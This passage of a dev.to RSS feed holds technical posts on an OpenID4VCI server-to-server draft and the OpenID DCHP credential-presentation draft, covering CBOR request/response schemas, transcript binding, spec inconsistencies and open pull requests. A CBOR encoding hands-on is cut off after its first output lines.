&lt;p&gt;It isn't OAuth at all. The Wallet Server and Issuer Server authenticate with mTLS on every endpoint (RFC 8705), send &lt;code&gt;Api-Version&lt;/code&gt; with semantic versions and &lt;code&gt;Sunset&lt;/code&gt; for retirement, require &lt;code&gt;x-request-id&lt;/code&gt; for idempotency, and return RFC 9457 Problem Details. Anything that comes from the phone is a Client Encrypted Payload: a JWS signed with the Wallet Signing Key (WSK), wrapped in an HPKE JWE to the issuer. The inner &lt;code&gt;aud&lt;/code&gt; is the JWK thumbprint of the encryption key, so a payload can't be re-wrapped to another recipient (s2s Section 5.5.2). The issuer encrypts credentials to the Wallet Encryption Key. The Wallet Server forwards ciphertext in both directions and adds its own risk signals as Verification Data.&lt;/p&gt;

&lt;p&gt;Issuance happens in two phases. Verification (&lt;code&gt;/verification/initiate&lt;/code&gt;, &lt;code&gt;/supplement&lt;/code&gt;, &lt;code&gt;/status&lt;/code&gt;, &lt;code&gt;/cancel&lt;/code&gt;, plus &lt;code&gt;/verification/notify&lt;/code&gt; back to the Wallet) ends in one of &lt;code&gt;APPROVED&lt;/code&gt;, &lt;code&gt;REJECTED&lt;/code&gt;, &lt;code&gt;DENIED&lt;/code&gt;, &lt;code&gt;ADDITIONAL_INFO_REQUIRED&lt;/code&gt;, &lt;code&gt;PENDING&lt;/code&gt;, &lt;code&gt;EXPIRED&lt;/code&gt;. Then &lt;code&gt;/credential/provision&lt;/code&gt; returns instance ids and &lt;code&gt;/credential/get&lt;/code&gt; fetches credentials. Lifecycle operations (&lt;code&gt;/credential/manage&lt;/code&gt; for suspend, resume, unlink, and &lt;code&gt;/credential/status&lt;/code&gt;) run in both directions.&lt;/p&gt;

&lt;p&gt;This draft is moving fast. #809 converted every property to snake_case (merged 27 October). #810 renamed &lt;code&gt;session_id&lt;/code&gt; to &lt;code&gt;wallet_id&lt;/code&gt; and &lt;code&gt;credential_instance_id&lt;/code&gt; to &lt;code&gt;credential_id&lt;/code&gt;, and it merged on 10 November 2026, after the commit I pinned, so the current HEAD (&lt;code&gt;41c8c66&lt;/code&gt;) already differs from &lt;code&gt;21ffd6c&lt;/code&gt;. Deferred credentials with their own endpoint (#816) are still open. There are TODOs in the text for post-quantum algorithms and required curves. Treat it as a design document for now. Don't build to it yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd ship today
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Implement 1.0 Final. Accept both metadata paths when the identifier ends in &lt;code&gt;/&lt;/code&gt;. On the AS, cap &lt;code&gt;tx_code&lt;/code&gt; attempts and invalidate the code at the cap. The errata asks for it, and nothing in Final forbids it.&lt;/li&gt;
&lt;li&gt;Wallet side: treat &lt;code&gt;invalid_grant&lt;/code&gt; after a &lt;code&gt;tx_code&lt;/code&gt; entry as possibly fatal, and also accept &lt;code&gt;invalid_tx_code&lt;/code&gt;, since a 1.1 AS will send it.&lt;/li&gt;
&lt;li&gt;Ignore unknown Credential Response fields, but store &lt;code&gt;credential_dataset_id&lt;/code&gt; and &lt;code&gt;credential_dataset_tag&lt;/code&gt; when they show up. They cost nothing and make refresh correct later.&lt;/li&gt;
&lt;li&gt;Interactive Authorization: prototype it, use &lt;code&gt;error&lt;/code&gt;, and don't relax the binding &lt;code&gt;aud&lt;/code&gt; check to work around #812.&lt;/li&gt;
&lt;li&gt;s2s: watch it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Still open: whether #775's metadata rule ships as published errata or only in 1.1, how the WG settles &lt;code&gt;nonce&lt;/code&gt; in key attestations (#678 currently says "at the Issuer's discretion" in its 1.0 text and "left to the Wallet" in 1.1), and when 1.1 goes to an Implementer's Draft. #687 is a personal timeline from a WG participant (jogu) that puts WG last call and a formal security analysis side by side, with the months marked "indicative".&lt;/p&gt;

</description>
      <category>openid</category>
      <category>oauth</category>
      <category>identity</category>
      <category>security</category>
    </item>
    <item>
      <title>DCHP: One CBOR Request for mdoc and SD-JWT VC, In Person and Online</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:29:08 +0000</pubDate>
      <link>https://dev.to/kanywst/dchp-one-cbor-request-for-mdoc-and-sd-jwt-vc-in-person-and-online-2lc1</link>
      <guid>https://dev.to/kanywst/dchp-one-cbor-request-for-mdoc-and-sd-jwt-vc-in-person-and-online-2lc1</guid>
      <description>&lt;p&gt;A wallet that holds a mobile driving licence today speaks two protocols for the same credential. At a shop counter it answers an ISO/IEC 18013-5 &lt;code&gt;DeviceRequest&lt;/code&gt; over BLE. On a website it answers an OpenID4VP Authorization Request, through the browser's Digital Credentials API. Different request languages, different session binding, different response containers.&lt;/p&gt;

&lt;p&gt;The OpenID Foundation's Digital Credentials Harmonized Presentation (DCHP) Working Group is writing one protocol to cover both, jointly with ISO/IEC JTC 1/SC 17 WG 10. One CBOR request, one CBOR response, for ISO mdoc and SD-JWT VC, in person and online.&lt;/p&gt;

&lt;p&gt;I read the Editor's Copy at the head of &lt;code&gt;main&lt;/code&gt; and encoded a request from it. The first thing I hit: the prose table puts &lt;code&gt;dc_api_origin&lt;/code&gt; at integer key 8 and the CDDL puts it at key 7. That one key changes the transcript hash, which is the KB-JWT &lt;code&gt;nonce&lt;/code&gt;. Two implementations that each follow "the spec" will reject each other.&lt;/p&gt;

&lt;p&gt;My full notes, with every open PR and issue tracked, are at &lt;a href="https://0-draft.github.io/identity-deep-dive/openid/deep-dives/dchp/" rel="noopener noreferrer"&gt;identity-deep-dive: openid/dchp&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you are reading
&lt;/h2&gt;

&lt;p&gt;Everything below is from &lt;a href="https://github.com/openid/dchp" rel="noopener noreferrer"&gt;openid/dchp&lt;/a&gt; at commit &lt;code&gt;4ddd238&lt;/code&gt; (9 November 2026), which was still the head of &lt;code&gt;main&lt;/code&gt; when I checked on 15 November 2026. The Document History says &lt;code&gt;-00&lt;/code&gt;. The README says the Editor's Copy "is not an approved Working Group Draft".&lt;/p&gt;

&lt;p&gt;The Introduction says the text started as an initial contribution that "was accepted as a starting point, but it doesn't yet constitute consensus on its full content". Every core clause opens with the same note:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Clause&lt;/th&gt;
&lt;th&gt;Consensus issue&lt;/th&gt;
&lt;th&gt;State on 15 Nov 2026&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential Request&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/openid/dchp/issues/24" rel="noopener noreferrer"&gt;#24&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;open, one comment (F2F notes, 31 Aug)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Response Encryption&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/openid/dchp/issues/25" rel="noopener noreferrer"&gt;#25&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;open, no comments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reader Authentication&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/openid/dchp/issues/26" rel="noopener noreferrer"&gt;#26&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;open, no comments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transaction Transcript&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/openid/dchp/issues/27" rel="noopener noreferrer"&gt;#27&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;open, no comments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Response&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/openid/dchp/issues/28" rel="noopener noreferrer"&gt;#28&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;open, no comments&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you implement any of it, pin the commit.&lt;/p&gt;

&lt;p&gt;One more thing before the CDDL. Every message is a CBOR map with small integer keys. &lt;code&gt;credential_types&lt;/code&gt; and &lt;code&gt;ScenarioSets&lt;/code&gt; are labels in the document, not bytes on the wire. The working group said this directly when it classed the casing PR &lt;a href="https://github.com/openid/dchp/pull/83" rel="noopener noreferrer"&gt;#83&lt;/a&gt; as "editorial PR only since map keys are ints, i.e., field names are not normative". The integers are the protocol.&lt;/p&gt;

&lt;h2&gt;
  
  
  The flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fdchp-digital-credentials-harmonized-presentation%2Fdiagrams%2F01-flow.png%3Fv%3D83f1d643" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fdchp-digital-credentials-harmonized-presentation%2Fdiagrams%2F01-flow.png%3Fv%3D83f1d643" alt="DCHP flow: the verifier builds RequestPayload, ReaderTransactionTranscript and optional reader_auth; sends CredentialRequest; the wallet rebuilds the transcript, selects credentials, builds a WalletTransactionTranscript per credential, binds it into DeviceAuth or the KB-JWT nonce, HPKE-encrypts the envelope when there is no session encryption, and returns CredentialResponse. Red boxes are steps the spec leaves open." width="720" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Red boxes are where the text is incomplete or contradicts itself. That is three of the nine steps.&lt;/p&gt;

&lt;p&gt;Three ideas carry the design:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The request is a set of queries plus a small boolean language over them, independent of credential format. Format specifics live in annexes that plug into CDDL sockets.&lt;/li&gt;
&lt;li&gt;Neither side sends a transcript. Both build it independently from the request bytes and from what each observed about the channel (QR code, NFC handover, OpenID4VP &lt;code&gt;client_id&lt;/code&gt;, web origin). If they disagree, signatures and decryption fail.&lt;/li&gt;
&lt;li&gt;That same transcript is fed into everything: the reader's signature, the HPKE response encryption, and the credential's own holder binding.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The request
&lt;/h2&gt;

&lt;p&gt;From the "Request CDDL" section:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CredentialRequest = {
  payload:        1 =&amp;gt; bstr,      ; CBOR-encoded RequestPayload
  ? reader_auth:  2 =&amp;gt; COSE_Sign, ; Optional reader authentication (detached payload)
  * int =&amp;gt; any                    ; RFU extensions
}

RequestPayload = {
  ScenarioSets:                     1 =&amp;gt; { + ScenarioRef =&amp;gt; ScenarioSet },
  CredentialQueries:                2 =&amp;gt; { + CredentialRef =&amp;gt; CredentialQuery },
  ? encryption_context:             3 =&amp;gt; EncryptionContext,
  ? additional_encryption_contexts: 4 =&amp;gt; { + int =&amp;gt; EncryptionContext },
  * int =&amp;gt; any                      ; RFU extensions
}

ScenarioSet = {
  mandatory:    1 =&amp;gt; bool,
  combinations: 2 =&amp;gt; [ + CredentialCombination ],
  purpose_id:   3 =&amp;gt; [ controlled_id: tstr, + int ],
  ? extensions: 4 =&amp;gt; { * int / tstr =&amp;gt; any },
  * int =&amp;gt; any
}

CredentialCombination = [ + CredentialRef ]

CredentialQuery = {
  credential_format:    1 =&amp;gt; tstr,
  credential_types:     2 =&amp;gt; [ + tstr ],
  elements_dict:        3 =&amp;gt; { + ElementRef =&amp;gt; DataElementDef },
  requested_elements:   4 =&amp;gt; ElementLogic,
  ? general_extensions: 5 =&amp;gt; generalExtensions,
  ? format_extensions:  6 =&amp;gt; $formatExtensions, ; Socket
  ? encryption_ref:     7 =&amp;gt; int,
  * int =&amp;gt; any
}

DataElementDef = {
  path:               1 =&amp;gt; [ + tstr ],
  ? value_match:      2 =&amp;gt; any,
  intent_to_retain:   3 =&amp;gt; bool,
  * int =&amp;gt; any
}

; Conjunctive Normal Form (CNF): AND of OR of AND
ElementLogic = [ + OrGroup ]
OrGroup      = [ + AndGroup ]
AndGroup     = [ + ElementRef ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The payload travels as a byte string, not a nested map. That is deliberate: the verifier signs and hashes exactly those bytes, and the wallet hashes what it received without re-encoding.&lt;/p&gt;

&lt;p&gt;Here is the request I encoded for the hands-on below: "family name and (age over 18 or birth date) from an mDL, or age over 18 from an SD-JWT VC".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fdchp-digital-credentials-harmonized-presentation%2Fdiagrams%2F02-request-anatomy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fdchp-digital-credentials-harmonized-presentation%2Fdiagrams%2F02-request-anatomy.png" alt="Anatomy of the example RequestPayload: key 1 ScenarioSets holds one ScenarioSet with combinations [[1],[2]]; key 2 CredentialQueries holds query 1 (mso_mdoc, org.iso.18013.5.1.mDL, three elements, requested_elements [[[1]],[[2],[3]]]) and query 2 (dc+sd-jwt, one element, support_no_cryptographic_binding false)." width="800" height="704"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two levels of logic, and they compose differently:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Across credentials, a &lt;code&gt;ScenarioSet&lt;/code&gt; is OR of AND. &lt;code&gt;combinations: [[1], [2]]&lt;/code&gt; means "query 1 alone, or query 2 alone". &lt;code&gt;[[1, 3]]&lt;/code&gt; would mean "both 1 and 3". The wallet satisfies one combination per scenario.&lt;/li&gt;
&lt;li&gt;Inside a credential, &lt;code&gt;requested_elements&lt;/code&gt; is AND of OR of AND. &lt;code&gt;[[[1]], [[2],[3]]]&lt;/code&gt; reads: element 1, and (element 2 or element 3). The spec's own second example, &lt;code&gt;[Street address] AND ([Full name] OR ([Given name] AND [Family name]))&lt;/code&gt;, is why the innermost level exists.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;credential_types&lt;/code&gt; became an array in PR &lt;a href="https://github.com/openid/dchp/pull/61" rel="noopener noreferrer"&gt;#61&lt;/a&gt; (4 November 2026). It is defined as pure sugar. A query with n types "shall be processed as equivalent to" n single-type queries, and every combination that references it is copied n times, one per instance. The rationale in the text is size: one query for v1 and v2 of the same credential type. If you implement it, implement the expansion literally. A combination &lt;code&gt;[[1, 2]]&lt;/code&gt; where query 1 has two types becomes two combinations.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;general_extensions&lt;/code&gt; carries the cross-format knobs: &lt;code&gt;issuer_identifiers&lt;/code&gt; (key 1, today only &lt;code&gt;x509_ref&lt;/code&gt;, an array of Authority Key Identifiers), &lt;code&gt;allow_multiple&lt;/code&gt; (2), &lt;code&gt;credential_auth_data&lt;/code&gt; (3) and &lt;code&gt;support_no_cryptographic_binding&lt;/code&gt; (4). &lt;code&gt;encryption_ref&lt;/code&gt; routes a credential's response to an entry in &lt;code&gt;additional_encryption_contexts&lt;/code&gt;. The text's example is an identity credential encrypted to one backend and a payment credential to another, inside one response.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the format annexes pin down
&lt;/h2&gt;

&lt;p&gt;Since PR &lt;a href="https://github.com/openid/dchp/pull/57" rel="noopener noreferrer"&gt;#57&lt;/a&gt; (9 November 2026) the core says nothing about mdoc or SD-JWT. It lists ten things a "credential format definition" must specify, and two annexes do that:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;mso_mdoc&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;dc+sd-jwt&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;credential_types&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;mdoc &lt;code&gt;DocType&lt;/code&gt;, case-sensitive&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;vct&lt;/code&gt;, case-sensitive; inheritance undecided (&lt;a href="https://github.com/openid/dchp/issues/53" rel="noopener noreferrer"&gt;#53&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;path&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;exactly &lt;code&gt;[NameSpace, DataElementIdentifier]&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;"To be completed" (&lt;a href="https://github.com/openid/dchp/issues/52" rel="noopener noreferrer"&gt;#52&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;x509_ref&lt;/code&gt; matches&lt;/td&gt;
&lt;td&gt;AKI &lt;code&gt;keyIdentifier&lt;/code&gt; of a cert in &lt;code&gt;IssuerAuth&lt;/code&gt; &lt;code&gt;x5chain&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;AKI &lt;code&gt;keyIdentifier&lt;/code&gt; of a cert in the &lt;code&gt;x5c&lt;/code&gt; header&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;format_extensions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;issuer_alg_values&lt;/code&gt;, &lt;code&gt;device_alg_values&lt;/code&gt; (COSE ints)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;sd-jwt_alg_values&lt;/code&gt;, &lt;code&gt;kb-jwt_alg_values&lt;/code&gt; (JWS strings)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Holder binding&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceAuth&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;KB-JWT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No binding allowed when&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;support_no_cryptographic_binding&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt; (non-key-bound mdoc)&lt;/td&gt;
&lt;td&gt;same flag; otherwise a KB-JWT "shall" be present&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;data&lt;/code&gt; in response&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bstr .cbor Document&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;tstr&lt;/code&gt;, compact &lt;code&gt;&amp;lt;JWT&amp;gt;~&amp;lt;Disclosure&amp;gt;~...~&amp;lt;KB-JWT&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transcript binding&lt;/td&gt;
&lt;td&gt;inside &lt;code&gt;SessionTranscript&lt;/code&gt;, derivation open (&lt;a href="https://github.com/openid/dchp/issues/10" rel="noopener noreferrer"&gt;#10&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;KB-JWT &lt;code&gt;nonce&lt;/code&gt; = SHA-256(WalletTransactionTranscript), encoding and &lt;code&gt;aud&lt;/code&gt; open (&lt;a href="https://github.com/openid/dchp/issues/10" rel="noopener noreferrer"&gt;#10&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Value matching, transaction data&lt;/td&gt;
&lt;td&gt;open (#9, #4)&lt;/td&gt;
&lt;td&gt;open (#9, #4)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two mdoc rules are worth reading closely. The wallet, not the verifier, decides whether an element comes back issuer-signed or device-signed, within the MSO's &lt;code&gt;KeyAuthorizations&lt;/code&gt;. And a wallet may answer a request for an element with a substitute where that element's definition allows it, which is how &lt;code&gt;age_over_NN&lt;/code&gt; works in 18013-5. Both &lt;code&gt;issuer_identifiers&lt;/code&gt; and the non-key-bound mdoc text carry editor's notes tying them to the second edition of ISO/IEC 18013-5, the latter "to be checked against the published text" (&lt;a href="https://github.com/openid/dchp/issues/56" rel="noopener noreferrer"&gt;#56&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The SD-JWT &lt;code&gt;path&lt;/code&gt; is &lt;code&gt;[ + tstr ]&lt;/code&gt;, which cannot index an array. On 5 November the working group had "no objection" to widening it to &lt;code&gt;[ + tstr / int / null / bool / bstr ]&lt;/code&gt;. On 15 November no PR for it was open.&lt;/p&gt;

&lt;h2&gt;
  
  
  The transcript
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ReaderTransactionTranscript = {
  request_hash:    1 =&amp;gt; bstr,          ; SHA-256 of CBOR-encoded RequestPayload bytes
  channel_binding: 2 =&amp;gt; ChannelBinding,
  * int / tstr =&amp;gt; any
}

WalletTransactionTranscript = {
  request_hash:         1 =&amp;gt; bstr,
  channel_binding:      2 =&amp;gt; ChannelBinding,
  ? encryption_context: 3 =&amp;gt; int,      ; the encryption_ref from CredentialQuery
  * int / tstr =&amp;gt; any
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;18013-5's &lt;code&gt;SessionTranscript&lt;/code&gt; is a fixed-order array. DCHP makes it a map and relies on deterministic CBOR (RFC 8949 Section 4.2) for a unique encoding. The text says that is "the key difference" from 18013-5. It also means both sides must pick the same deterministic rule. RFC 8949 has two: Section 4.2.1 sorts map keys bytewise, and Section 4.2.3 describes the older length-first ordering from RFC 7049. They coincide for small integer keys and diverge once keys differ in encoded length. Open PR &lt;a href="https://github.com/openid/dchp/pull/64" rel="noopener noreferrer"&gt;#64&lt;/a&gt; pins 4.2.1 and adds that transcripts "are never transmitted".&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ChannelBinding&lt;/code&gt; is where the transport shows up: at most one engagement field (how the session started: QR, reverse QR, NFC handover, OpenID4VP &lt;code&gt;request_uri&lt;/code&gt; or &lt;code&gt;client_id&lt;/code&gt;, DC API origin) and at most one transmission field (BLE, NFC, Wi-Fi Aware). This is the anti-replay mechanism. A request relayed from &lt;code&gt;https://evil.example&lt;/code&gt; produces a different &lt;code&gt;dc_api_origin&lt;/code&gt;, so a different transcript, so the KB-JWT nonce the verifier expects never matches.&lt;/p&gt;

&lt;p&gt;The problem is that &lt;code&gt;main&lt;/code&gt; has two numberings for it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fdchp-digital-credentials-harmonized-presentation%2Fdiagrams%2F03-channelbinding-keys.png%3Fv%3D49813138" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fdchp-digital-credentials-harmonized-presentation%2Fdiagrams%2F03-channelbinding-keys.png%3Fv%3D49813138" alt="ChannelBinding integer keys in the prose table versus the CDDL at 4ddd238, and after open PR #76. Keys 1-4 agree; nfcv2_handover is missing from the CDDL, which shifts oidc4vp_request_uri, oidc4vp_client_id and dc_api_origin down by one. PR #76 aligns these to the prose. The transmission fields (ble_gatt vs ble_uuid, ble_l2cap uint vs map, keys 12-15 only in the CDDL) still differ after PR #76." width="759" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Issue &lt;a href="https://github.com/openid/dchp/issues/75" rel="noopener noreferrer"&gt;#75&lt;/a&gt; reports the engagement mismatch, and open PR &lt;a href="https://github.com/openid/dchp/pull/76" rel="noopener noreferrer"&gt;#76&lt;/a&gt; renumbers the CDDL to the prose (adding &lt;code&gt;cce_handover&lt;/code&gt; at 5 and renaming &lt;code&gt;oidc4vp_*&lt;/code&gt; to &lt;code&gt;openid4vp_*&lt;/code&gt;). Neither touches the transmission rows. In the prose, key 10 is &lt;code&gt;ble_gatt&lt;/code&gt; and key 11 is a bare &lt;code&gt;uint&lt;/code&gt; PSM. In the CDDL, key 10 is &lt;code&gt;ble_uuid&lt;/code&gt; and key 11 is a map &lt;code&gt;{1 uuid, 2 psm}&lt;/code&gt;, and keys 12 to 15 exist only in the CDDL. For an in-person BLE L2CAP session, the two documents still produce different bytes after #76.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where the transcript is used
&lt;/h3&gt;

&lt;p&gt;Reader authentication is a &lt;code&gt;COSE_Sign&lt;/code&gt; over a detached payload: "the raw CBOR-encoded &lt;code&gt;RequestPayload&lt;/code&gt; together with the transaction transcript". How the two are combined is not specified, and neither is how the reader's key reaches the wallet. Open PR &lt;a href="https://github.com/openid/dchp/pull/65" rel="noopener noreferrer"&gt;#65&lt;/a&gt; puts an X.509 &lt;code&gt;x5chain&lt;/code&gt; (RFC 9360) in the protected header of the &lt;code&gt;COSE_Signature&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Response encryption has two answers in the same document. The bullet list under "Transaction Transcript" says the &lt;code&gt;ReaderTransactionTranscript&lt;/code&gt; is "used in reader authentication and response encryption". The "Use in Protocol Operations" table says the &lt;code&gt;WalletTransactionTranscript&lt;/code&gt; for that credential is "supplied as info parameter for HPKE". The CDDL comments claim response encryption for both. The wallet variant differs only by &lt;code&gt;encryption_context&lt;/code&gt;, so the bytes differ whenever a credential uses &lt;code&gt;encryption_ref&lt;/code&gt;, and only then. That kind of disagreement passes a single-backend test and breaks in multi-key routing.&lt;/p&gt;

&lt;p&gt;Response encryption itself is conditional: mandatory when there is no session-layer encryption ("DC API, scheme-based"), not applicable over 18013-5 BLE/NFC sessions. HPKE is mandated for non-post-quantum use, "potentially based on draft-ietf-cose-hpke".&lt;/p&gt;

&lt;h2&gt;
  
  
  The response
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CredentialResponse = {
  ? unencrypted:  1 =&amp;gt; Envelope,
  ? encrypted:    2 =&amp;gt; [ + COSE_Encrypt ], ; Each item decrypts to bytes .cbor Envelope
  * int =&amp;gt; any
}

Envelope = {
  credentials:    1 =&amp;gt; { + CredentialRef =&amp;gt; CredentialItem },
  scenarios:      2 =&amp;gt; { + ScenarioRef   =&amp;gt; [ + CredentialRef ] },
  * int =&amp;gt; any
}

CredentialItem = {
  credential_format: 1 =&amp;gt; tstr,
  data:              2 =&amp;gt; $CredentialData,   ; Socket
  * int =&amp;gt; any
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each envelope is self-contained. A credential needed in two envelopes (because two queries route to two keys) is duplicated. &lt;code&gt;credentials&lt;/code&gt; is keyed by the same &lt;code&gt;CredentialRef&lt;/code&gt; integers as the request, so the verifier maps answers back to queries with no extra lookup.&lt;/p&gt;

&lt;p&gt;That keying has a flaw: a map key is unique, so one query can return only one credential, which contradicts &lt;code&gt;allow_multiple&lt;/code&gt;. And one credential answering two queries must be copied. Open PR &lt;a href="https://github.com/openid/dchp/pull/77" rel="noopener noreferrer"&gt;#77&lt;/a&gt; changes &lt;code&gt;credentials&lt;/code&gt; to &lt;code&gt;[ + CredentialItem ]&lt;/code&gt;, adds &lt;code&gt;query_refs: 3 =&amp;gt; [ + QueryRef ]&lt;/code&gt; to each item, and renames &lt;code&gt;CredentialRef&lt;/code&gt; to &lt;code&gt;QueryRef&lt;/code&gt;. If it merges, every response parser written against &lt;code&gt;main&lt;/code&gt; breaks: the first bytes of the envelope go from &lt;code&gt;a2 01 a1 ...&lt;/code&gt; (map) to &lt;code&gt;a2 01 81 ...&lt;/code&gt; (array).&lt;/p&gt;

&lt;h2&gt;
  
  
  Hands-on: encoding it
&lt;/h2&gt;

&lt;p&gt;I wrote the request above in Python with &lt;code&gt;cbor2&lt;/code&gt; (6.3.0, &lt;code&gt;canonical=True&lt;/code&gt;), computed both transcripts for a DC API session from &lt;code&gt;https://verifier.example&lt;/code&gt;, and compared the two &lt;code&gt;ChannelBinding&lt;/code&gt; numberings. No signing or encryption, the keys are placeholders, and the HPKE algorithm id is a placeholder too. The point is the bytes both sides must agree on. Script and &lt;code&gt;run.sh&lt;/code&gt; are in &lt;a href="https://github.com/0-draft/dev.to/tree/main/articles/assets/dchp-digital-credentials-harmonized-presentation"&gt;&lt;code&gt;articles/assets/dchp-digital-credentials-harmonized-presentation/&lt;/code&gt;&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ ./run.sh
RequestPayload: 400 bytes, CredentialRequest: 405 bytes
request_hash: 68bcbd1618d152da4387a26ad0fe5d499988cb4e7a5b9e6e835ff353f023438a

